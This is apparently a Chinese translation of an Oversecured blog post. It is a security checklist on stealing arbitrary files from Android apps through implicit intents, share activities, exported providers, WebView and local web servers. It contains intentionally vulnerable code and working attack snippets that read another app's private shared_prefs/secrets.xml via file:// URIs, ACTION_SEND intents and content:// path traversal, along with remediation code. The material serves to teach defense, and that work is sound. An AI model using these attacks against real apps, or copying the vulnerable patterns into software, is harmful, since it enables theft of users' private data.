Android 安全检查清单:窃取任意文件
https://blog.oversecured.com/Android-security-checklist-theft-of-arbitrary-files/
文件类型
众所周知,从 Android 应用程序的角度来看,有两种基本的文件存储类型:公共和私有。
private位于文件路径/data/user/0/{package_name},其中0是Android用户的ID。只有应用程序本身和喜欢的系统用户root才能访问它。Android 的安全模型允许您在那里存储秘密信息,例如令牌和用户数据。
公共位于/storage/emulated/0(或只是/sdcard)。特定应用程序的公共数据存储在/storage/emulated/0/Android/data/{package_name}. 新版本的 Android(SDK 29 及更高版本)确实引入了对某些目录的访问限制,但是,存储在这里的每个文件仍然应该被视为公开的。它们可以被安装在同一设备上的任何第三方应用程序读取。
具有相同功能的应用程序android:sharedUserId可以访问彼此的文件。因此,攻击者还可以通过一个应用程序利用另一个应用程序。
这意味着当我们谈论 Android 上任意文件的窃取时,我们通常指的是从应用程序的私有目录中窃取任何文件的能力。
大量文件盗窃攻击依赖于应用程序功能,攻击者可以将私人文件复制到公共目录中,然后读取它们。
隐式意图
特别是对隐式意图的拦截。本节着眼于使用标准操作时普遍存在的问题,例如
"android.intent.action.GET_CONTENT"
"android.media.action.IMAGE_CAPTURE"
"android.media.action.VIDEO_CAPTURE"
"android.intent.action.PICK"
"com.android.camera.action.CROP"
这些意图的想法是应用程序告诉系统,“我不知道也不关心用户可能安装了哪个文件管理器、摄影应用程序或媒体文件编辑器,但让其中一个来完成我需要的工作,并且给我一个指向结果文件的链接”。应用程序会非常频繁地启动隐式意图来获取内容。一个例子可能是选择一个文件附加到聊天中的消息或用户配置文件的头像。
在 Android 上,所有这些操作都有一个统一的 API:
我们正在分析的应用程序启动了一个隐式意图startActivityForResult(new Intent("android.intent.action.PICK"), ANY_REQUEST_CODE)
处理或攻击应用程序执行操作并将 a 放入Uri数据值中setResult(-1, new Intent().setData(contentUri))
我们正在分析的应用程序接收结果onActivityResult(requestCode, responseCode, resultIntent)并通常将结果缓存contentUri在其本地文件系统中的某个位置。
实际上,易受攻击的应用程序的代码可能如下所示:
private static final int PICK_CODE = 1337;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startActivityForResult(new Intent(Intent.ACTION_PICK), PICK_CODE);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (resultCode != Activity.RESULT_OK) {
// Handle error
return;
}
switch (requestCode) {
case PICK_CODE: {
Uri pickedUri = data.getData();
processPickedUri(pickedUri);
return;
}
// Handle other cases
}
}
private void processPickedUri(Uri uri) {
File cacheFile = new File(getExternalCacheDir(), "temp");
copy(uri, cacheFile);
// Do normal stuff
}
private void copy(Uri uri, File toFile) {
try {
InputStream inputStream = getContentResolver().openInputStream(uri); // openInputStream() handles both file, and content schemes
OutputStream outputStream = new FileOutputStream(toFile);
byte[] bytes = new byte[65536];
while (true) {
int read = inputStream.read(bytes);
if (read == -1) {
break;
}
outputStream.write(bytes, 0, read);
}
inputStream.close();
outputStream.close();
} catch (IOException e) {
// Handle error
}
}
中提供了一个类似漏洞的示例。Oversecured Android 漏洞扫描器发现了这种类型的漏洞:
正如您从扫描报告的屏幕截图中看到的那样,导致该漏洞的所有代码行都已突出显示:
启动隐式意图
在 中接收结果onActivityResult(),其中 URI 可能被攻击者控制
将数据复制到攻击者可以访问的公共存储
file通过方案利用 URI 攻击
最明显的技术是返回一个file://带有文件绝对路径的 URI。攻击应用程序示例:
档案AndroidManifest.xml:
<activity android:name=".PickerActivity" android:enabled="true" android:exported="true">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.PICK" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="image/*" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>
档案PickerActivity.java:
public class PickerActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
StrictMode.setVmPolicy(StrictMode.VmPolicy.LAX);
Uri uri = Uri.parse("file:///data/user/0/com.victim/shared_prefs/secrets.xml");
setResult(-1, new Intent().setData(uri));
finish();
}
}
FileUriExposedException默认情况下,如果file使用了一个方案并且是 18 或更高,则应用程序会抛出一个targetSdkVersion,这可能会使攻击变得更加困难;但是可以通过预先设置配置来规避这些(本地)检查:
StrictMode.setVmPolicy(StrictMode.VmPolicy.LAX);
content通过方案利用 URI 攻击
另一个有前途的利用途径是使用content方案和易受攻击的应用程序的本地内容提供商。重要的是要注意它们不一定需要导出。Android 仅在尝试访问数据时检查权限,但易受攻击的应用程序将获得对其资源之一的访问权限,并且不会有任何限制。
第一步是检查所有FileProvider是否可以访问root-path或共享私有存储目录(例如files-path或cache-path)。然后应检查非出口供应商。Oversecured 在Google、TikTok和许多其他应用程序中发现了这些漏洞的示例。根据内部统计,我们分析的 90% 以上的应用程序都包含与提供商实施相关的不同严重程度的错误。
整治:
每个 FileProvider 都应该得到适当的保护:理想的解决方案是为每个操作使用单独的文件夹。例如,我们认为<files-path name="files" path="." />不安全:您应该改用<files-path name="files" path="my_saved_files" />。这将有助于显着降低潜在攻击的影响。
应检查所有其他提供程序以确保它们不包含路径遍历错误或共享“广泛”文件夹,如files或cache。例如,最广泛的攻击类型是在构建文件路径时使用Uri.getLastPathSegments(),因为此调用(以及许多其他调用!)会自动解码段并转换%2F为/.
此外,您应该检查外部 URI(来自 afile或contentscheme)以确保它们不指向本地文件:
private static final int PICK_CODE = 1337;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startActivityForResult(new Intent(Intent.ACTION_PICK), PICK_CODE);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (resultCode != Activity.RESULT_OK) {
// Handle error
return;
}
switch (requestCode) {
case PICK_CODE: {
Uri pickedUri = data.getData();
processPickedUri(pickedUri);
return;
}
//...
}
}
private void processPickedUri(Uri uri) {
try {
if (isInternalUri(this, uri)) {
// Attack prevented
return;
}
} catch (IOException e) {
// Handle error
return;
}
// Do normal stuff
}
private static boolean isInternalUri(Context context, Uri uri) throws IOException {
ParcelFileDescriptor fd = context.getContentResolver().openFileDescriptor(uri, "r");
return isInternalFile(context, fd);
}
private static boolean isInternalFile(Context context, ParcelFileDescriptor fileDescriptor) throws IOException {
int fd = fileDescriptor.getFd();
Path fdPath = Paths.get("/proc/self/fd/" + fd);
Path filePath = Files.readSymbolicLink(fdPath);
Path internalPath = Paths.get(context.getApplicationInfo().dataDir);
return filePath.startsWith(internalPath);
}
分享活动
几乎所有处理用户内容的应用程序,例如消息应用程序或电子邮件客户端,都可以从外部接收。为此,Android 上存在特殊操作:
"android.intent.action.SEND"
"android.intent.action.SEND_MULTIPLE"
处理活动从他们收到的意图中获取一个 URI 参数Intent.EXTRA_STREAM( ),通常将其缓存,然后对内容执行某些操作。"android.intent.extra.STREAM"例如:
档案AndroidManifest.xml:
<activity android:name=".ShareActivity" android:enabled="true" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<action android:name="android.intent.action.SEND_MULTIPLE" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="image/*" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>
档案ShareActivity.java:
public class ShareActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
String action = intent.getAction();
if (Intent.ACTION_SEND.equals(action)) {
Uri uri = intent.getParcelableExtra(Intent.EXTRA_STREAM);
processUri(uri);
} else if (Intent.ACTION_SEND_MULTIPLE.equals(action)) {
List<Uri> uris = intent.getParcelableArrayListExtra(Intent.EXTRA_STREAM);
processUris(uris);
}
}
private void processUris(List<Uri> uris) {
for (Uri uri : uris) {
processUri(uri);
}
}
private void processUri(Uri uri) {
File cacheFile = new File(getExternalCacheDir(), "temp");
copy(uri, cacheFile);
// Do normal stuff
}
}
攻击可能如下所示:
StrictMode.setVmPolicy(StrictMode.VmPolicy.LAX);
Intent intent = new Intent(Intent.ACTION_SEND);
intent.setClassName("com.victim", "com.victim.ShareActivity");
intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("file:///data/user/0/com.victim/shared_prefs/secrets.xml"));
startActivity(intent);
出口供应商
一方面,这是窃取文件的最简单、最明显的方法。但它仍然在许多应用程序中遇到。例如,Oversecured在预装的三星系统应用程序中发现了此类漏洞。那里的提供程序已导出,但仅受弱权限保护,允许攻击者访问任意文件。
易受攻击的应用程序示例:
档案AndroidManifest.xml:
<provider android:name=".MyContentProvider" android:authorities="com.victim.myprovider" android:exported="true" />
档案MyContentProvider.java:
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File root = new File(getContext().getFilesDir(), "my_files");
File file = new File(root, uri.getPath());
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
攻击以获取对文件的访问权限/data/user/0/com.victim/shared_prefs/secrets.xml:
try {
Uri uri = Uri.parse("content://com.victim.myprovider/../../shared_prefs/secrets.xml");
Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(uri)));
} catch (Throwable th) {
throw new RuntimeException(th);
}
我们故意易受攻击的 Android 应用程序 OVAA 提供了另一个类似漏洞的示例:
扫描报告显示:
AndroidManifest.xml带有导出提供者声明的文件片段
使用攻击者可以控制的 URI调用Uri.getLastPathSegment(),导致文件路径上的路径遍历
创建ParcelFileDescriptor从方法返回的对象openFile(),导致访问任意文件
整治:
如果打算在应用程序内共享文件,请避免导出提供程序。如果提供程序打算与其他应用程序一起使用,则好的保护措施是添加signature访问权限;
中讨论的那种工作时一定不能有错误。也可以使提供者不导出但设置标志android:grantUriPermissions="true",这允许应用程序本身仅授予对特定 URI 的访问权限。
遵循上述建议以避免使用其他媒介进行攻击。
网络视图
通过 WebView 进行的文件盗窃攻击在单独的文章中有更全面和更详细的描述:
通过WebResourceResponse 的不安全实现。文章描述了攻击本身,并给出了亚马逊应用程序中此漏洞的示例
通过XHR 查询。当启用从文件 URL 进行通用/文件访问时,这种攻击是可能的 - WebView
通过文件选择器。当攻击者可以拦截隐式意图并获得对 WebView 中文件的访问权限时,这种攻击是可能的
访问任意*内容提供商
允许访问带有标志的提供程序的开发人员错误在android:grantUriPermissions="true"中进行了描述。如果攻击者可以让应用程序向他们传递带有自定义数据、剪辑数据和某些其他字段以及自定义标志(或带有预设和/或)的意图,他们就可以获得对属于该应用程序的任意提供程序的访问权限。Intent.FLAG_GRANT_READ_URI_PERMISSIONIntent.FLAG_GRANT_WRITE_URI_PERMISSION
OVAA 中包含此错误的示例:
本地网络服务器
这可能看起来很奇怪和令人惊讶,但不少 Android 应用程序出于其目的在内部运行本地 Web 服务器。NanoHTTPD也适用于 Android。开发人员应该记住,当应用程序运行时,这些服务器可以从本地网络访问,这使得可能存在的漏洞更加危险。
由于我们在 Android 应用程序中发现的大多数此类漏洞都使用了此库,因此我们提供了一个典型的漏洞示例:
public class App extends NanoHTTPD {
private Context context;
public App(Context context) throws IOException {
super(8080);
this.context = context;
start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);
}
private static final String CACHE_PREFIX = "/cache/";
@Override
public Response serve(IHTTPSession session) {
final String requestUri = session.getUri();
if (requestUri.startsWith(CACHE_PREFIX)) {
String path = requestUri.substring(CACHE_PREFIX.length());
File requestedFile = new File(context.getCacheDir(), path);
String mimeType = NanoHTTPD.getMimeTypeForFile(path);
try {
InputStream inputStream = new FileInputStream(requestedFile);
return newFixedLengthResponse(Response.Status.OK, mimeType, inputStream, requestedFile.length());
} catch (IOException e) {
e.printStackTrace();
}
}
return newFixedLengthResponse("");
}
}
public class MainActivity extends Activity {
private App app;
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
app = new App(this);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
从示例中可以看出,漏洞是路径遍历的典型示例。
整治:
您应该重新检查应用程序的架构,并确保确实需要本地网络服务器。
您应该像对待典型的网络应用程序一样对待该网络服务器的代码,并检查它是否存在相同的错误。
在我们给出的示例中,我们建议验证文件路径并防止路径遍历攻击,并避免使用“广泛”目录cache进行文件存储:相反,我们会使用,例如,cache/web_cache.